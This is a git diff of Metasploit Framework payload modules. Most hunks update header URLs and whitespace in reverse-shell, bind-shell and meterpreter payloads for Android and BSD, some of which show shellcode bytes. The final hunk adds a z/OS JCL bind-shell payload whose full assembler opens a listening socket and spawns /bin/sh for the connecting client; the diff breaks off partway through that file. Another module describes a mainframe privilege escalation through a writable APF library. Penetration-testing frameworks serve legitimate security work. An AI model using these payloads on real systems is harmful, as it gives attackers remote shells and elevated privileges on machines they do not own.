index 39a05ddadb..1337de6de4 100644
--- a/modules/payloads/singles/android/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/android/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -49,5 +49,4 @@ module MetasploitModule
     opts[:stageless] = true
     super(opts)
   end
-
 end
diff --git a/modules/payloads/singles/android/meterpreter_reverse_tcp.rb b/modules/payloads/singles/android/meterpreter_reverse_tcp.rb
index 3d255a4d86..465569bf85 100644
--- a/modules/payloads/singles/android/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/android/meterpreter_reverse_tcp.rb
@@ -1,7 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
+
 require 'msf/core/payload/android'
 require 'msf/core/payload/transport_config'
 require 'msf/core/handler/reverse_tcp'
@@ -42,5 +43,4 @@ module MetasploitModule
     opts[:stageless] = true
     super(opts)
   end
-
 end
diff --git a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb
index 7adae0f370..9ff955d018 100644
--- a/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb
+++ b/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -43,5 +43,4 @@ module MetasploitModule
       "\xe0\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b" +
       "\x91\xd0\x20\x08"
   end
-
 end
diff --git a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb
index b7fe7ea53d..0d1803b43b 100644
--- a/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -49,5 +49,4 @@ module MetasploitModule
       "\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08\xe0\x3b\xbf\xf0" +
       "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x64/exec.rb b/modules/payloads/singles/bsd/x64/exec.rb
index 4ca630cfb5..1e948b5f36 100644
--- a/modules/payloads/singles/bsd/x64/exec.rb
+++ b/modules/payloads/singles/bsd/x64/exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # Exec
@@ -69,5 +67,4 @@ module MetasploitModule
       "\x48\x83\xc8\x3b" +                            # or rax, 0x3b (execve)
       "\x0f\x05"                                      # syscall
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb
index 114649967f..fb19c6a769 100644
--- a/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb
+++ b/modules/payloads/singles/bsd/x64/shell_bind_ipv6_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -82,5 +82,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb
index 2a2fae16e9..fe626e2e61 100644
--- a/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb
+++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 module MetasploitModule
diff --git a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb
index ef0d6b58b0..4868703b54 100644
--- a/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb
+++ b/modules/payloads/singles/bsd/x64/shell_bind_tcp_small.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb
index 97156208fa..d45c593d1a 100644
--- a/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb
+++ b/modules/payloads/singles/bsd/x64/shell_reverse_ipv6_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -87,5 +87,4 @@ module MetasploitModule
          OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
       ])
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb
index ddbc541298..f2c160fc88 100644
--- a/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 
 module MetasploitModule
diff --git a/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb
index c43a06efb7..0a0096c2d9 100644
--- a/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb
+++ b/modules/payloads/singles/bsd/x64/shell_reverse_tcp_small.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -75,5 +75,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x86/exec.rb b/modules/payloads/singles/bsd/x86/exec.rb
index f27fa02731..143655d9b8 100644
--- a/modules/payloads/singles/bsd/x86/exec.rb
+++ b/modules/payloads/singles/bsd/x86/exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 ###
 #
 # Exec
@@ -46,5 +44,4 @@ module MetasploitModule
   def generate_stage(opts={})
     bsd_x86_exec_payload
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb
index 2d159ef8a2..c6d7b66edf 100644
--- a/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb
+++ b/modules/payloads/singles/bsd/x86/metsvc_bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 require 'msf/base/sessions/meterpreter_x86_bsd'
 require 'msf/base/sessions/meterpreter_options'
@@ -33,5 +32,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb
index 532348ad8e..53482bc47a 100644
--- a/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb
+++ b/modules/payloads/singles/bsd/x86/metsvc_reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/base/sessions/meterpreter_x86_bsd'
 require 'msf/base/sessions/meterpreter_options'
@@ -33,5 +32,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb
index 07ff5b62ec..2dc1476b2c 100644
--- a/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb
+++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -73,5 +73,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb
index 20dd2a6b69..b7db53bb22 100644
--- a/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb
+++ b/modules/payloads/singles/bsd/x86/shell_bind_tcp_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -42,5 +42,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x86/shell_find_port.rb b/modules/payloads/singles/bsd/x86/shell_find_port.rb
index 88bb44bc62..25f4d38286 100644
--- a/modules/payloads/singles/bsd/x86/shell_find_port.rb
+++ b/modules/payloads/singles/bsd/x86/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x86/shell_find_tag.rb b/modules/payloads/singles/bsd/x86/shell_find_tag.rb
index 9c4d915956..9661df15d2 100644
--- a/modules/payloads/singles/bsd/x86/shell_find_tag.rb
+++ b/modules/payloads/singles/bsd/x86/shell_find_tag.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -49,5 +49,4 @@ module MetasploitModule
 
     super
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb
index 179d33138e..98650f5948 100644
--- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -67,5 +67,4 @@ module MetasploitModule
         }
     ))
   end
-
 end
diff --git a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb
index 07c8f7bd61..22c9d2c6f1 100644
--- a/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb
+++ b/modules/payloads/singles/bsd/x86/shell_reverse_tcp_ipv6.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -46,5 +46,4 @@ module MetasploitModule
       OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
     ])
   end
-
 end
diff --git a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb
index 95c89b69d6..d08625f867 100644
--- a/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb
+++ b/modules/payloads/singles/bsdi/x86/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -40,5 +40,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsdi/x86/shell_find_port.rb b/modules/payloads/singles/bsdi/x86/shell_find_port.rb
index 9b75d8590d..10d174e6a7 100644
--- a/modules/payloads/singles/bsdi/x86/shell_find_port.rb
+++ b/modules/payloads/singles/bsdi/x86/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -39,5 +39,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb
index a5ffbf84cb..f2289bb7c0 100644
--- a/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/bsdi/x86/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -40,5 +40,4 @@ module MetasploitModule
         }
     ))
   end
-
 end
diff --git a/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb b/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb
index c85fa8d932..628e0c81f7 100644
--- a/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb
+++ b/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb
@@ -1,7 +1,12 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 ##
 # This is a JCL command payload for z/OS - mainframe.
-#   It will escalate privilages of an account on the system if the user
-#   can identify a writeable APF authoried library "APFLIB"
+#   It will escalate privileges of an account on the system if the user
+#   can identify a writable APF authorised library "APFLIB"
 #
 #   See https://www.ibm.com/support/knowledgecenter/zosbasics/com.ibm.zos.zsecurity/zsecc_060.htm
 #   for more information on APF Authorized Libraries
@@ -9,8 +14,8 @@
 #   Thank you to Ayoub & The Brummie for the assembler ideas.
 #
 #   To-do (BeS 4/11/17)
-#     Add options for privilages that can be added.
-#     Auto scan for writeable APF authorized library.
+#     Add options for privileges that can be added.
+#     Auto scan for writable APF authorized library.
 ##
 
 require 'msf/core/handler/find_shell'
@@ -25,8 +30,8 @@ module MetasploitModule
   def initialize(info = {})
     super(merge_info(
       info,
-      'Name'          => 'JCL to Escalate Privilages',
-      'Description'   => %q{(Elevate privilages for user. Adds
+      'Name'          => 'JCL to Escalate Privileges',
+      'Description'   => %q{(Elevate privileges for user. Adds
          SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using
          an unsecured/updateable APF authorized library (APFLIB) and updating
          the user's ACEE using this program/library.  Note: This privesc only
diff --git a/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb
new file mode 100644
index 0000000000..cbb57d770e
--- /dev/null
+++ b/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb
@@ -0,0 +1,323 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+# This payload has no ebcdic<->ascii translator built in.
+# Therefore it must use a shell which does, like mainframe_shell
+#
+# this payload will spawn a bind shell from z/os, when submitted
+#  on the system as JCL to JES2
+##
+
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/mainframe_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module MetasploitModule
+  CachedSize = 10712
+  include Msf::Payload::Single
+  include Msf::Payload::Mainframe
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+                     'Name'          => 'Z/OS (MVS) Command Shell, Bind TCP',
+                     'Description'   => 'Provide JCL which creates a bind shell
+                     This implmentation does not include ebcdic character translation,
+                     so a client with translation capabilities is required.  MSF handles
+                     this automatically.',
+                     'Author'        => 'Bigendian Smalls',
+                     'License'       => MSF_LICENSE,
+                     'Platform'      => 'mainframe',
+                     'Arch'          => ARCH_CMD,
+                     'Handler'       => Msf::Handler::BindTcp,
+                     'Session'       => Msf::Sessions::MainframeShell,
+                     'PayloadType'   => 'cmd',
+                     'RequiredCmd'   => 'jcl',
+                     'Payload'       =>
+    {
+      'Offsets' => {},
+      'Payload' => ''
+    }))
+    register_options(
+      [
+        # need these defaulted so we can manipulate them in command_string
+        Opt::LHOST('0.0.0.0'),
+        Opt::LPORT(32700),
+        OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
+        OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
+        OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
+        OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
+        OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
+        OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
+      ], self.class
+    )
+    register_advanced_options(
+      [
+        OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
+        OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
+      ],
+      self.class
+    )
+  end
+
+  ##
+  # Construct Payload
+  ##
+  def generate
+    super + command_string
+  end
+
+  ##
+  # Setup replacement vars and populate payload
+  ##
+  def command_string
+    if (datastore['JOBNAME'] == "DUMMY") && !datastore['FTPUSER'].nil?
+      datastore['JOBNAME'] = (datastore['FTPUSER'] + "1").strip.upcase
+    end
+    lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
+    lhost = lhost.unpack("H*")[0]
+    lport = datastore['LPORT']
+    lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
+
+    jcl_jobcard +
+      "//**************************************/\n" \
+      "//*  SPAWN BIND SHELL FOR MSF MODULE   */\n" \
+      "//**************************************/\n" \
+      "//*\n" \
+      "//STEP1      EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \
+      "//L.SYSLIB   DD  DSN=SYS1.CSSLIB,DISP=SHR\n" \
+      "//C.SYSIN    DD  *,DLM=ZZ\n" \
+      "         TITLE  'Spawns Bind Shell'\n" \
+      "SPAWNBND CSECT\n" \
+      "SPAWNBND AMODE 31\n" \
+      "SPAWNBND RMODE ANY\n" \
+      "***********************************************************************\n" \
+      "*        @SETUP registers and save areas                              *\n" \
+      "***********************************************************************\n" \
+      "         USING *,15\n" \
+      "@SETUP0  B     @SETUP1\n" \
+      "         DROP  15\n" \
+      "         DS    0H                 # half word boundary\n" \
+      "@SETUP1  STM   14,12,12(13)       # save our registers\n" \
+      "         LR    2,13               # callers sa\n" \
+      "         LR    8,15               # pgm base in R8\n" \
+      "         USING @SETUP0,8          # R8 for base addressability\n" \
+      "*************************************\n" \
+      "* set up data area / addressability *\n" \
+      "*************************************\n" \
+      "         L     0,@DYNSIZE         # len of variable area\n" \
+      "         GETMAIN RU,LV=(0)        # get data stg, len R0\n" \
+      "         LR    13,1               # data address\n" \
+      "         USING @DATA,13           # addressability for data area\n" \
+      "         ST    2,@BACK            # store callers sa address\n" \
+      "         ST    13,8(,2)           # store our data addr\n" \
+      "         DS    0H                 # halfword boundaries\n" \
+      "\n" \
+      "***********************************************************************\n" \
+      "*        BPX1SOC set up socket - inline                               *\n" \
+      "***********************************************************************\n" \
+      "         CALL  BPX1SOC,                                                X\n" \
+      "               (DOM,TYPE,PROTO,DIM,SRVFD,                              X\n" \
+      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
+      "*******************************\n" \
+      "*  chk return code, 0 or exit *\n" \
+      "*******************************\n" \
+      "         LHI   15,2\n" \
+      "         L     6,RTN_VAL\n" \
+      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
+      "\n" \
+      "***********************************************************************\n" \
+      "*        BPX1BND (bind) bind to local socket - inline                 *\n" \
+      "***********************************************************************\n" \
+      "         XC    SOCKADDR(16),SOCKADDR        # zero sock addr struct\n" \
+      "         MVI   SOCK_FAMILY,AF_INET          # family inet\n" \
+      "         MVI   SOCK_LEN,SOCK#LEN            # len of socket\n" \
+      "         MVC   SOCK_SIN_PORT,CONNSOCK       # port to bind to\n" \
+      "         MVC   SOCK_SIN_ADDR,CONNADDR       # address to bind to\n" \
+      "         CALL  BPX1BND,                                                X\n" \
+      "               (SRVFD,SOCKLEN,SOCKADDR,                                X\n" \
+      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
+      "*******************************\n" \
+      "*  chk return code, 0 or exit *\n" \
+      "*******************************\n" \
+      "         LHI   15,3\n" \
+      "         L     6,RTN_VAL\n" \
+      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
+      "\n" \
+      "***********************************************************************\n" \
+      "*        BPX1LSN (listen) listen on local socket - inline             *\n" \
+      "***********************************************************************\n" \
+      "         CALL  BPX1LSN,                                                X\n" \
+      "               (SRVFD,BACKLOG,                                         X\n" \
+      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
+      "*******************************\n" \
+      "*  chk return code, 0 or exit *\n" \
+      "*******************************\n" \
+      "         LHI   15,4\n" \
+      "         L     6,RTN_VAL\n" \
+      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
+      "\n" \
+      "***********************************************************************\n" \
+      "*        BPX1ACP (accept) accept socket connection - inline           *\n" \
+      "***********************************************************************\n" \
+      "         XC    SOCKADDR(16),SOCKADDR        # zero sock addr struct\n" \
+      "         MVI   SOCK_FAMILY,AF_INET          # family inet\n" \
+      "         MVI   SOCK_LEN,SOCK#LEN            # len of socket\n" \
+      "         CALL  BPX1ACP,                                                X\n" \
+      "               (SRVFD,CLILEN,CLISKT,                                   X\n" \
+      "               CLIFD,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
+      "*******************************\n" \
+      "*  chk return code, 0 or exit *\n" \
+      "*******************************\n" \
+      "         LHI   15,5\n" \
+      "         L     6,RTN_VAL\n" \
+      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
+      "\n" \
+      "*************************************************\n" \
+      "* order of things to prep child pid             *\n" \
+      "*  0) Dupe all 3 file desc of CLIFD             *\n" \
+      "*  1) Dupe parent read fd to std input          *\n" \
+      "*************************************************\n" \
+      "*******************\n" \
+      "*****  STDIN  *****\n" \
+      "*******************\n" \
+      "         CALL  BPX1FCT,                                                X\n" \
+      "               (CLIFD,                                                 X\n" \
+      "               =A(F_DUPFD2),                                           X\n" \
+      "               =A(F_STDI),                                             X\n" \
+      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
+      "****************************************************\n" \
+      "*  chk return code here anything but -1 is ok      *\n" \
+      "****************************************************\n" \
+      "         LHI   15,6               # exit code for this func\n" \
+      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
+      "         CIB   7,-1,8,EXITP       # r6 = -1 exit\n" \
+      "\n" \
+      "*******************\n" \
+      "*****  STDOUT *****\n" \
+      "*******************\n" \
+      "         CALL  BPX1FCT,                                                X\n" \
+      "               (CLIFD,                                                 X\n" \
+      "               =A(F_DUPFD2),                                           X\n" \
+      "               =A(F_STDO),                                             X\n" \
+      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
+      "****************************************************\n" \
+      "*  chk return code here anything but -1 is ok      *\n" \
+      "****************************************************\n" \
+      "         LHI   15,7               # exit code for this func\n" \
+      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
+      "         CIB   7,-1,8,EXITP       # r6 = -1 exit\n" \
+      "\n" \
+      "*******************\n" \
+      "*****  STDERR *****\n" \
+      "*******************\n" \
+      "         CALL  BPX1FCT,                                                X\n" \
+      "               (CLIFD,                                                 X\n" \
+      "               =A(F_DUPFD2),                                           X\n" \
+      "               =A(F_STDE),                                             X\n" \
+      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
+      "****************************************************\n" \
+      "*  chk return code here anything but -1 is ok      *\n" \
+      "****************************************************\n" \
+      "         LHI   15,8               # exit code for this func\n" \
+      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
+      "         CIB   7,-1,8,EXITP       # r7 = -1 exit\n" \
+      "\n" \
+      "***********************************************************************\n" \
+      "*        BP1SPN (SPAWN) execute shell '/bin/sh'                       *\n" \
+      "***********************************************************************\n" \
+      "         XC    INHE(INHE#LENGTH),INHE   # clear inhe structure\n" \
+      "         XI    INHEFLAGS0,INHESETPGROUP\n" \
+      "         SPACE ,\n" \
+      "         MVC   INHEEYE,=C'INHE'\n" \
+      "         LH    0,TLEN\n" \
+      "         STH   0,INHELENGTH\n" \
+      "         LH    0,TVER\n" \
+      "         STH   0,INHEVERSION\n" \
+      "         CALL  BPX1SPN,                                                X\n" \
+      "               (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL,     X\n" \
+      "               EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL,        X\n" \
+      "               RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
+      "         LHI   15,9               # exit code for this func\n" \
+      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
+      "         L     6,RTN_COD\n" \
+      "         L     5,RSN_COD\n" \
+      "         CIB   7,-1,8,EXITP       # r7 = -1 exit\n" \
+      "\n" \
+      "****************************************************\n" \
+      "* cleanup & exit preload R15 with exit code        *\n" \
+      "****************************************************\n" \
+      "         XR    15,15              # 4 FOR rc\n" \
+      "EXITP    L     0,@DYNSIZE\n" \
+      "         LR    1,13\n" \
+      "         L     13,@BACK\n" \
+      "         DROP  13\n" \
+      "         FREEMAIN RU,LV=(0),A=(1) #free storage\n" \
+      "         XR    15,15\n" \
+      "         L     14,12(,13)         # load R14\n" \
+      "         LM    0,12,20(13)        # load 0-12\n" \
+      "         BSM   0,14               # branch to caller\n" \
+      "\n" \
+      "****************************************************\n" \
+      "* Constants and Variables                          *\n" \
+      "****************************************************\n" \
+      "         DS    0F                 # constants full word boundary\n" \
+      "F_STDI   EQU   0\n" \
+      "F_STDO   EQU   1\n" \
+      "F_STDE   EQU   2\n" \
+      "*************************\n" \
+      "* Socket conn variables *         # functions used by pgm\n" \
+      "*************************\n" \
+      "CONNSOCK DC    XL2'#{lport}'      # LPORT\n" \
+      "CONNADDR DC    XL4'#{lhost}'      # LHOST\n" \
+      "BACKLOG  DC    F'1'               # 1 byte backlog\n" \
+      "DOM      DC    A(AF_INET)         # AF_INET = 2\n" \
+      "TYPE     DC    A(SOCK#_STREAM)    # stream = 1\n" \
+      "PROTO    DC    A(IPPROTO_IP)      # ip = 0\n" \
+      "DIM      DC    A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \
+      "SOCKLEN  DC    A(SOCK#LEN+SOCK_SIN#LEN)\n" \
+      "CLILEN   DC    F'0'               # client sock len - don't care\n" \
+      "CLISKT   DC    X'00'              # client socket struck - don't care\n" \
+      "************************\n" \
+      "* BPX1SPN vars *********\n" \
+      "************************\n" \
+      "EXCMD    DC    CL7'/bin/sh'       # command to exec\n" \
+      "EXCMDL   DC    A(L'EXCMD)         # len of cmd to exec\n" \
+      "EXARGC   DC    F'1'               # num of arguments\n" \
+      "EXARG1   DC    CL2'sh'            # arg 1 to exec\n" \
+      "EXARG1L  DC    A(L'EXARG1)        # len of arg1\n" \
+      "EXARGL   DC    A(EXARG1)          # addr of argument list\n" \
+      "EXARGLL  DC    A(EXARG1L)         # addr of arg len list\n" \
+      "EXENVC   DC    F'0'               # env var count\n" \
+      "EXENVL   DC    F'0'               # env var arg list addr\n" \
+      "EXENVLL  DC    F'0'               # env var arg len addr\n" \
+      "FDCNT    DC    F'0'               # field count s/b 0\n" \
+      "FDLST    DC    F'0'               # field list addr s/b 0\n" \
+      "TVER     DC    AL2(INHE#VER)\n" \
+      "TLEN     DC    AL2(INHE#LENGTH)\n" \
+      "         SPACE ,\n" \
+      "@DYNSIZE DC    A(@ENDYN-@DATA)\n" \
+      "***************************\n" \
+      "***** end of constants ****\n" \
+      "***************************\n" \
+      "@DATA    DSECT ,\n" \
+      "         DS    0D\n" \
+      "PLIST    DS    16A\n" \
+      "RTN_VAL  DS    F                  # return value\n" \
+      "RTN_COD  DS    F                  # return code\n" \
